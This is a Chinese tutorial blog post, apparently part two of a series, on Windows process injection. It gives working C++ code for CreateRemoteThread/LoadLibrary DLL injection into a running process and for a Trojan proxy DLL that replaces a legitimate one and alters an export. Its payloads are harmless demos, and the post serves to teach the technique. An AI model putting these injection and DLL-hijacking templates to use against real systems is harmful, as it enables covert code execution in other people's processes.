1. 程式人生 > >程序注入的學習(中)

程序注入的學習(中)

轉載請宣告出處:http://www.cnblogs.com/predator-wang/p/5076279.html

3. 利用遠端執行緒注入DLL

   1)、取得遠端程序的程序ID; 

 2)、在遠端程序空間中分配一段記憶體用來存放要注入的DLL完整路徑; 

 3)、將要注入的DLL的路徑寫到剛才分配的遠端程序空間; 

   4 )、從Kernel32.dll中取得LoadLibray的地址; 

 5)、呼叫CreateRemoteThread函式以從Kernel32.dll中取得的LoadLibrary函式的地址為執行緒函式的地址,以我們要注入的DLL檔名為引數,建立遠端執行緒;

-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

  • CreateRemoteThread做一下簡單的介紹:

CreateRemoteThread建立一個在其它程序地址空間中執行的執行緒(也稱:建立遠端執行緒).

  引數說明:

hProcess:目標程序的控制代碼
lpThreadAttributes:指向執行緒的安全描述結構體的指標,一般設定為NULL,表示使用預設的安全級別
dwStackSize:執行緒堆疊大小,一般設定為0,表示使用預設的大小,一般為1M
lpStartAddress:執行緒函式的地址,下面的例子中我們想建立的執行緒函式就是LoadLibrary。
lpParameter:執行緒引數,下面的例子中執行緒的引數就是LoadLibrary的引數"kernel32.dll"
dwCreationFlags:執行緒的建立方式(CREATE_SUSPENDED 執行緒以掛起方式建立)
lpThreadId:輸出引數,記錄建立的遠端執行緒的ID

 

引數hProcess指明擁有新建立執行緒的程序,引數pfnStartAddr指明執行緒函式的記憶體地址,該記憶體地址和遠端程序是相關的,執行緒函式程式碼不能在自己程序的地址空間中

 

如果寫成這樣:HANDLE hThread=CreateRemoteThread(hProcessRemote,NULL,0,LoadLibraryA,”C:\\MyLib.dll”,0,NULL);

直接在CreateRemoteThread中用LoadLibraryA和“C:\\MyLib.dll”做引數,則會出現問題:

1)當編譯或連結一個程式時,產生的二進位制程式碼包含一個輸入節,這一節是有一系列輸入函式的形式替換程式(thunk)組成。當代碼呼叫一個如LoadLibrary函式時,連結程式將生成一個模組輸入節中的形實替換程式並呼叫,然後,該形實替換程式便轉移到實際的函式。在CreateRemoteThread的呼叫中使用一個對LoadLibrary的直接呼叫,則將在模組的輸入節中轉換成LoadLibrary的形實替換程式的地址,將形實替換程式的地址作為遠端執行緒的起始地址來傳遞,會導致執行緒開始執行莫名其妙的程式碼。

解決方法是:若要強制直接呼叫LoadLibrary函式,避開形實替換程式,必須呼叫GetProcAddress函式,獲取LoadLibrary的準確記憶體位置。對CreateRemoteThread呼叫的前提是,Kernel32.dll已經被同時對映到本地和遠端程序的地址空間中,每個應用程式都需要Kernel32.dll,將Kernel32.dll對映到每個程序的同一個地址(kernel32.dll被載入到記憶體中,在記憶體中只存在一個kernel32.dll,本地程序和遠端程序來說,都會呼叫這個地址上的kernel32.dll),如呼叫如下函式:

PTHREAD_START_ROUTINE pfnThreadRtn=(PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT(“Kernel32”)),”LoadLibraryA”);

HANDLE hThread=CreateRemoteThread(hProcessRemote,NULL,0,pfnThreadRtn,” C:\\MyLib.dll”,0,NULL);

2)字串” C:\\MyLib.dll”是在呼叫程序的地址空間中,該字串的地址已經被賦予新建立的遠端執行緒,該執行緒將其傳遞給LoadLibrary,但是,當LoadLibrary取消對記憶體地址的引用時,DLL路徑名字串將不再存在,遠端程序的執行緒就可能引發訪問違規,向用戶顯示一個未處理的異常條件訊息框,並終止遠端程序。(雖然呼叫的是HANDLE hThread=CreateRemoteThread(hProcessRemote,NULL,0,pfnThreadRtn,” C:\\MyLib.dll”,0,NULL);但這裡面實際上是呼叫了LoadLibrary,其引數是”C:\\MyLib.dll”,所以當LoadLibrary執行完後,堆疊裡就沒有了”C:\\MyLib.dll”,遠端程序後邊再用到”C:\\MyLib.dll”時就訪問不到了)

解決方法是:將DLL的路徑名字串放入遠端程序的地址空間中,然後當CreateRemoteThread函式被呼叫時,必須將放置該字串的地址(相對於遠端程序的地址)傳遞給它,Windows提供了一個函式使得一個程序能夠分配另一個程序的地址空間中的記憶體:

PVOID VirtualAllcoEx(

HANDLE hProcess,

PVOID pvAddress,

SIZE_T dwSize,

DWORD flAllocationType,

DWORD flProtect);

另一個函式則能夠釋放該記憶體:

BOOL VirtualFreeEx(

HANDLE hProcess,

PVOID pvAddress,

SIZE_T dwSize,

DWORD dwFreeType);

一旦為該字串分配記憶體,還需要將該字串從程序的地址空間拷貝到遠端程序的地址空間中,Windows提供了一些函式,使得一個程序能夠從另一個程序的地址空間中讀取資料,並將資料寫入另一個程序的地址空間:

BOOL ReadProcessMemory(

HANDLE hProcess,

PVOID pvAddressRemote,

PVOID pvBufferlocal,

DWORD dwSize,

PDWORD pdwNumbytesRead);

BOOL WriteProcessMemory(

HANDLE hProcess,

PVOID pvAddressRemote,

PVOID pvBufferlocal,

DWORD dwSize,

PDWORD pdwNumbytesWritten);

當在遠端程序中建立新執行緒時,該執行緒立即呼叫LoadLibrary函式,並將DLL的路徑名的地址傳遞給它。直接將LoadLibrary作為執行緒執行函式(所傳遞的引數就是遠端執行緒的起始地址),會出先問題:

遠端程序由hProcess引數來標識,引數pvAddressRemote用於指明遠端程序的地址,引數pvBufferlocal是本地程序中的記憶體地址,引數dwSize需要傳送的位元組數,pdwNumbytesWritten和pdwNumbytesRead用於指明實際傳送的位元組數,當函式返回時,可檢視這兩個引數的值。

對此,執行步驟歸納如下:

1) 使用VirtualAllocEx函式,分配遠端程序的地址空間中的記憶體;

2) 使用WriteProcessMemory函式,將DLL路徑名拷貝到第一個步驟中已經分配的記憶體中;

3) 使用GetProcAddress函式,獲取LoadLibrary函式的實地址(在kernel32.dll中);

4) 使用CreateRemoteThread函式,在遠端程序中建立一個執行緒,呼叫正確的LoadLibrary函式,為其傳遞第一個步驟中分配的記憶體地址;此時,DLL已經被插入到遠端程序的地址空間中,同時DLL的DllMain函式接收到一個DLL_PROCESS_ATTACH通知,並且能夠執行需要的程式碼,當DllMain函式返回時,遠端執行緒從它對LoadLibrary的呼叫返回到BaseThreadStart函式,然後BaseThreadStart呼叫ExitThread,使遠端執行緒終止執行;現在遠端程序擁有第一個步驟中分配的記憶體塊,而DLL仍保留在它的地址空間中,若要將它刪除,需要在遠端執行緒退出後執行下面步驟:

5) 使用VirtualFreeEx函式,釋放第一個步驟中分配的記憶體;

6) 使用GetProcAddress函式,獲得FreeLibrary函式的實地址(在Kernel32.dll中);

7) 使用CreateRemotThread函式,在遠端程序中建立一個執行緒,呼叫FreeLibrary函式,傳遞遠端DLL的HINSTANCE;

對CreateRemoteThread的介紹暫時到此。

-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

  • 示例:

先寫一個要注入的DLL:

 

複製程式碼
// dllmain.cpp : Defines the entry point for the DLL application.
#include "stdafx.h"

BOOL APIENTRY DllMain(HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved)
{
    //hInst = (HINSTANCE)hModule;
    if (ul_reason_for_call == DLL_PROCESS_ATTACH)    //當一個DLL被程序載入時,所要執行的功能
    {
        HANDLE f = CreateFile(L"D:\\InjectSuccess.txt", FILE_ADD_FILE, FILE_SHARE_WRITE,
            NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL);
        CloseHandle(f);
        //hInst = (HINSTANCE)hModule;
    }
    return TRUE;
}
複製程式碼

 

然後我們試圖將這個DLL注入到遠端程序。

 

我們先執行一個32位的程式,一會就將DLL注入到這個程序中(32位程序注入到64位程序會出現“拒絕訪問”的錯誤):

 

複製程式碼
#include <iostream>

using namespace std;

int main()
{
    cout << "HelloWorld" << endl;
    system("pause");
    return 0;
}
複製程式碼

 

用tasklist檢視程序ID:

並把下面OpenProcess的引數改為10756:

複製程式碼
#include <iostream>
#include <windows.h>
using namespace std;

int main()
{
    LPDWORD lpThreadId = nullptr;
    LPWSTR lpszLibName = L"D:\\Coding\\test\\InjectDLL\\InjectDLL\\Debug\\InjectDll.dll";
    HANDLE hProcess = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, 10756);
    //cout << hProcess << endl;
    LPWSTR lpszRemoteFile = (LPWSTR)VirtualAllocEx(hProcess, NULL, sizeof(WCHAR) * lstrlenW(lpszLibName) + 1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    WriteProcessMemory(hProcess, lpszRemoteFile, (PVOID)lpszLibName, sizeof(WCHAR) * lstrlenW(lpszLibName) + 1, NULL);
    cout << lpszRemoteFile << endl;
    HMODULE hMod = GetModuleHandle("kernel32.dll");
    PTHREAD_START_ROUTINE pfnThreadRtn = (PTHREAD_START_ROUTINE)GetProcAddress(hMod, "LoadLibraryW");
    HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, pfnThreadRtn, // LoadLibrary地址  
        lpszRemoteFile, // 要載入的DLL名   
        0, lpThreadId);
    cout << hThread << endl;
    system("pause");
    return 0;
}
複製程式碼

我們可以看到D盤中釋放了:

 

參考:

http://www.programlife.net/remote-thread-dll-injection.html

http://andylin02.iteye.com/blog/459483

http://www.verydemo.com/demo_c173_i13894.html

4. 利用特洛伊DLL進行注入 

這種方法的原理 就是由自己寫一個與原有程序呼叫的DLL具有相同介面函式的DLL,再用我們的DLL替換原有的DLL。在替換的過程中,由我們自己編寫感興趣的函式替換 原有函式,而對其它不感興趣的函式,則以函式轉發的形式呼叫原有DLL中的函式。這裡面有個前提,就是你在編寫DLL時你必須知道原有DLL中的函式都有 哪些,以免導至其它程序呼叫DLL時找不到相應的API函式,特別是在替換系統DLL檔案時更要小心。如果只想在單個應用程式中使用這個方法,那可以為自己的DLL給個獨一的名字,並改變應用程式的.exe模組的輸入節,並且只包含模組需要的DLL的名字。可搜尋檔案中的這個輸入節,並且將它改變,使載入程式載入自己的DLL,需要數字.exe和DLL檔案的格式。

  • 示例:

假設,我們有一個正常的DLL,testDLL.dll:

複製程式碼
#include "stdafx.h"

//void __declspec(dllexport) __stdcall About()
extern "C" __declspec(dllexport) void About()
{
    MessageBoxW(NULL, L"這是本來的DLL檔案!", L"原來的DLL", MB_ICONINFORMATION + MB_OK);
}

//int __declspec(dllexport) __stdcall Add(int a, int b)
extern "C" __declspec(dllexport) int Add(int a, int b)
{
    return (a + b);
}
複製程式碼

而後我們要用惡意的ToryDLL.dll偽裝成testDLL.dll,並把testDLL.dll更名為_testDLL.dll,這一步的實現在執行攻擊者的exe程式時完成:

ToryDLL.dll的內容如下:

複製程式碼
// dllmain.cpp : Defines the entry point for the DLL application.
#include "stdafx.h"
#include <iostream>
#include <string.h>
using namespace std;
static string szDllName;

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
    {
        //這裡實現偽裝和替換
        szDllName = "D:\\Coding\\test\\testDLL\\testDLL\\Debug\\_testDLL.dll";
    }
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    
    return TRUE;
}

typedef void(*ABOUT)();//宣告一個原始DLL中ABOUT函式的原型

extern "C" __declspec(dllexport) void About()
{
    // 直接做函式轉發給正常的testDLL.dll去執行
    
    HMODULE hDll = LoadLibraryA(szDllName.c_str());
    ABOUT about;
    if (hDll != NULL)
    {
        about = (ABOUT)GetProcAddress(hDll, "About");//呼叫原本的testDLL.dll中的about()函式
        if (about != NULL)
            about();
    }
    else
        MessageBox(NULL, L"載入原來的DLL錯誤!", L"特洛伊DLL", MB_ICONINFORMATION + MB_OK);
}

int Multiply(int a, int b)
{
    return (a * b);
}
//extern "C" __declspec(dllexport) int add(int a, int b)
extern "C"  __declspec(dllexport) int Add(int a, int b)
{
    int nRet;

    nRet = Multiply(a, b);

    return nRet;
}
複製程式碼

攻擊者先用自己的程式實現偽裝和替換:

就完成偽裝和替換:

相關推薦

程序注入學習

轉載請宣告出處:http://www.cnblogs.com/predator-wang/p/5076279.html 3. 利用遠端執行緒注入DLL    1)、取得遠端程序的程序ID;   2)、在遠端程序空間中分配一段記憶體用來存放要注入的DLL完整路徑;&

【12】Python函數學習

python 函數 作用域、局部和全局變量 前向引用:def test(name,age=18,*args,**kwargs): print(name) print(age,args,kwargs) school("Test") #程序執行從上到下的,這裏的school還沒

[Web安全] XXE漏洞攻防學習

div ESS passwd rem __name__ uri header requests 情況下 0x00、XXE漏洞攻擊實例 攻擊思路: 1. 引用外部實體遠程文件讀取 2. Blind XXE 3. Dos 0x01、外部實體引用,有回顯 實驗操作平臺:bWA

第三章 機器的程序級表示

switch語句 新的 移位 rap mage 中一 產生 可能 整數和 數據傳送指令: MOV指令:將數據從源位置復制到目的位置,不做任何變化;MOV指令由四條指令組成:movb、movw、movl、movq;它們的區別在於它們操作的數據大小不同,分別為1、2、4、8字節

Java內容梳理14API學習

1、String類 (1)常見的建立String物件方式 (1.1)String str1 = "123"; (1.2)String str2 = new String("123"); (1.3)char[] a = new char[] {'1','2','3'}

maven學習- 私服nexus搭建

接上回繼續,相信大家對maven每次都聯網從國外站點下載依賴項的龜速網路已經不坎忍受了,今天先來看看如何搭建"倉庫私服",目前nexus是使用比較廣泛的私服軟體之一,下面將介紹基本用法: 一、到nexus官網下載最新版 (2015-07-02注: 上面的下載地址好象已經失效了,新的地址為 http://w

Windows基礎篇學習

DOS命令 常用DOS命令(注:由於Windows對大小寫不敏感,所以一般情況下dos命令的大小寫不會影響命令執行;但是Linux系統則不行) color ? 改變cmd顏色的指令集合 ping -t -l 65500 ip   死亡之ping Ipco

Linux程序入門學習-認識程序

1.程序的概念 一個可執行的程式檔案(ELF格式)被載入到記憶體當中,然後讓CPU逐條執行其程式碼,根據程式碼作出相應的動作,這樣一個動態程序就產生了。因此,程序是一個動態變化的過程。 下面用一張圖來表示一個程式從編寫到最終執行的過程: 一段固化在磁碟

Linux程序入門學習-訊號通訊

訊號通訊 什麼是訊號? 在作業系統中,當我們無正常結束一程式時,可以用工作管理員強行結束這個程序。在unix/linux 中,具體的實現過程是通過程序A 生成一個訊號併發射出去,執行中的程序B捕獲到這個訊號然後根據這個訊號的特定意義做出相應的操作。 訊

Linux程序入門學習-程序啟動退出

1. 程序的退出 exit 函式用於程序退出 標頭檔案:#include <stdlib.h> 函式原型:void exit(int status); 引數:int status:退出狀態值(可以任意寫,值規定0 以上的正整數) 返回值:無

微信小程序開發學習

接受 ext 配置 微信小程序開發 onf error n) chan thead 一、各種JSON配置 1、小程序配置app.json 為小程序全局配置,包括所有頁面路徑、界面表現、網絡超時時間、底部tab等,類比APP開發中manifest配置。 2、工具配置proje

程序注入學習

轉載請宣告出處:http://www.cnblogs.com/predator-wang/p/4792976.html 參考:http://andylin02.iteye.com/blog/459483 程序注入的方法分類如下:       帶DLL的注入 &

程序注入學習

轉載請宣告出處:http://www.cnblogs.com/predator-wang/p/5076681.html   5. 無DLL注入(遠端程式碼注入) 在第三中方法種,我們啟動遠端執行緒時,執行緒函式是我們從Kernel32.dll中取得的LoadLibrary函式的地址為執行緒函式

Android關於JNI 的學習對於JNIEnv的一些認識

else size 初步 jint 使用 包括 pri jnienv 就會 一個簡單的樣例讓我們初步地了解JNI的作用,可是關於JNI中的一些概念還是須要了解清楚,才可以更好的去利用它來實現我們想要做的事情。 那麽C++和Java之間的是怎樣通過JNI來進行互相調用的呢

Java學習2:將鍵盤錄入的內容保存到指定文件

stream exce 創建 txt 關閉 如果 下午 line 再次 要求:保存鍵盤錄入的內容,當鍵盤輸入end時,錄入結束。 1 /** 2 * 保存鍵盤輸入,並以end結束 3 * 4 * @author xcx 5 * @time 2017年6

Java學習4:統計一個文件的英文,中文,數字,其他字符以及字符總數

port let args str reader 文件路徑 要求 cnblogs pub 要求:統計一個文件中的英文,中文,數字,其他字符以及字符總數(此隨筆以txt文件為例) import java.io.BufferedReader; import java.io.F

Python學習:基本數據類型與變量與基礎之條件及循環

sets 但是 while循環 spl view put 算數運算 sse 邏輯運算 一.數據類型和變量 1.可變與不可變數據類型   可變數據類型:在id不變的情況下,數據類型內部的元素可以改變   列表   字典   不可變數據類型:value改變,id也跟著改變

Struts2學習運行Action方法的三種方式

tracking 利用 content con return -m i++ var itl 1.運行execute()方法 一般的能夠直接在action中書寫execute,調用action時會自己主動運行此方法 2.配置method方法 在s

.NET使用Redis之ServiceStack.Redis學習安裝與簡單的運行

arraylist write client cli ring blog 控制臺 創建 spa 1.下載ServiceStack.Redis PM> Install-Package ServiceStack.Redis 2.vs中創建一個控制臺程序 class Pro

GUN C的socket學習

ipp 區分 如果 raw 文件表 一起 通訊 res 概念   socket是用於通信的工具。   套接字其實是一個廣義上的進程間通信的信道。就像pipe一樣,在GUN環境下socket也被用一個文件表示。不同的socket文件可以用於不同的進程間通信,甚至可以用來在網絡